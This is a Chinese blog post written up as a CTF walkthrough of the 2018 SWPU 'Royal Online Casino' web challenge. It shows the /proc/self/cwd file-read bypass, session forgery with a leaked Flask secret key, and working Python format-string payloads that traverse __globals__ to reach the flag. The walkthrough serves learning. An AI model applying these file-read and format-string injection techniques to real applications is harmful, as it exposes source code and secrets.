nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

2018_SWPU_CTF_皇家线上赌场

前言

学习题目的思路,不要为了做题而做题,才是最好的学习,一天一道,高质量学习

因为这题去搜了也没搜到源码,只能赛博复现,但是一定要学习到东西,下面的内容参考与https://qvq.im/

开始赛博做题

前期分析

首先是给了tips的

root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/source
[root@localhost]# tree web
web/
├── app
│   ├── forms.py
│   ├── __init__.py
│   ├── models.py
│   ├── static
│   ├── templates
│   ├── utils.py
│   └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)

得到的提示是需要去读web目录的文件,而且大概需要读 views.py,filename = os.path.join('app/static', filename)可以利用漏洞,这个漏洞就不说了
题目还要tips

if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
    return abort(404)

就是对读取的限制不能通过 /home/ctf/web/app 绝对路径读取,不能使用 .. 跳转上层目录。
第一想法,通过其他路径去读web目录,在linux一切皆文件
而通过/proc/self/maps 可以看到web路径,但是并不能通过此web路径来直接访问文件,后面出题人说是禁止了直接访问
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有
查看工作目录
/proc/mounts 或者 /etc/mtab,也可以看到一些东西
发现web
/home/ctf/web_assli3fasdf
但是除了
http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js,其余的文件都读不到
下面就要讲到
/proc 是一个伪文件系统, 被用作内核数据结构的接口
系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。
/proc/[pid]/cwd 是进程当前工作目录的符号链接。
file=/proc/self/cwd/app/views.py就可以读到文件源码

代码审计

root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

直击getflag

if not u or u.balance < 1000000:

在函数中,首先通过全局变量 g 获取当前用户对象 u既为admin,如果用户不存在或用户余额小于 1000000,则返回错误信息。
其实很明显嘛,key都出来了,伪造session嘛,这里我就跳过了,然后去买flag2024-02-02T12:04:54.png
然后不知道有什么卵用,下面是很明显的字符串格式化漏洞

jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
然后我们发现field是我们可控的

  field = request.form.get('field', 'username')

我们就是要获取 g.flag = 'swpuctf{xxxxxxxxxxxxxx}',要找到g属性
2024-02-02T12:15:05.png
class 是一个特殊的属性,它表示一个对象所属的类
显示为app.models.User,说明类的继承为user->models->app,所以应该先向上到models再到app,再读g.flag
我们需要跳到models模块,我们先去看源码,我们要找到models类

__init__.py的源码:

from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = 'anUEALvo7fV3KdwwiEYd'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
    register_views(app)
    db.init_app(app)
    return app

我们只需要获取db,就可以跳转到modles,然后有tips,2024-02-02T12:59:56.png
我们尝试去获取save的模块2024-02-02T13:00:27.png
__class__.save.__globals__它将返回 save 方法所在模块的全局命名空间。发现有db,然后我们需要跳转到app类。
首先看一下flask源码:

from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory, 
     get_flashed_messages, get_template_attribute, make_response, safe_join, 
     stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack, 
     _app_ctx_stack
flask_sqlalchemy/__init__.py
from flask import _app_ctx_stack, abort, current_app, request

g和current_app在同一个空间,因此我们只需要到current_app的空间,我们在这里__class__.save.__globals__[db].__class__.__init__.__globals__[current_app]就可以得到,然后就是要去获取g
2024-02-02T13:08:04.png
可以发现其下有g.flag
所以field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
成功获得,当然方法非常多,慢慢跳呗

save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag
本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 2018_SWPU_CTF_皇家线上赌场

评论